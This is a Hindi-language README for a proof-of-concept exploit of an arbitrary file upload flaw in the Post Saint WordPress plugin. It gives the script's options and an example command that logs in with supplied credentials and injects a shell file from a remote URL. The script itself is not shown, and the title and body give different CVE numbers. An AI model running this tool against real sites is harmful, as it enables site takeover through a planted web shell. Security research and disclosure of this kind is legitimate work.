CVE-2024-1247-PoC

Post Saint <= 1.3.1 प्लगइन वर्डप्रेस के लिए मनमाना फ़ाइल अपलोड

विवरण

वर्डप्रेस के लिए Post Saint प्लगइन (संस्करण 1.3.1 तक, इसे शामिल करते हुए) क्षमता जाँच और फ़ाइल प्रकार सत्यापन की कमी के कारण मनमानी फ़ाइल अपलोड के प्रति संवेदनशील है। कम से कम सब्सक्राइबर-स्तर की पहुँच वाले प्रमाणित हमलावर इस भेद्यता का फायदा उठाकर मनमानी फ़ाइलें अपलोड कर सकते हैं, जिससे संभावित रूप से रिमोट कोड निष्पादन हो सकता है।

विशेषताएँ

• संवेदनशील प्लगइन संस्करणों का पता लगाता है।
• प्रदान किए गए क्रेडेंशियल का उपयोग करके WordPress में लॉग इन करता है।
• मनमानी फ़ाइलें अपलोड करने के लिए भेद्यता का शोषण करता है।

उपयोग

आवश्यक शर्तें

1. Python 3.8 या उसके बाद का संस्करण स्थापित करें।
2. आवश्यक लाइब्रेरी स्थापित करें:

  
pip install requests packaging urllib3

उपयोग -help

 CVE-2024-12471 | Post Saint plugin for wordpress Arbitrary File Upload

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Base URL of the WordPress site
  -un USERNAME, --username USERNAME
                        WordPress username
  -p PASSWORD, --password PASSWORD
                        WordPress password
  -ru REMOTE_URL, --remote_url REMOTE_URL
                        Remote URL of the shell file to inject

उदाहरण:

python CVE-2024-12471.py -u <Base URL> -un <Username> -p <Password> -ru <Remote Shell URL>

अस्वीकरण

यह स्क्रिप्ट केवल शैक्षिक और शोध उद्देश्यों के लिए है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध और अनैतिक है।